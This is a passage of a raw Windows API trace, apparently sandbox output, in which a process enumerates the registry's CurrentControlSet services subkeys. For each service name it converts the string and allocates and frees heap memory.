dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.473] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.473] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0246.473] RegCloseKey (hKey=0x154) returned 0x0 [0246.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0246.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.475] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.475] RegCloseKey (hKey=0x150) returned 0x0 [0246.475] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.475] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.475] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0246.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f19b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.476] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.476] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f19b8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0246.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.477] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.477] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.477] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.477] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.478] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.478] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f19b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.478] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0246.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.478] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.479] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, 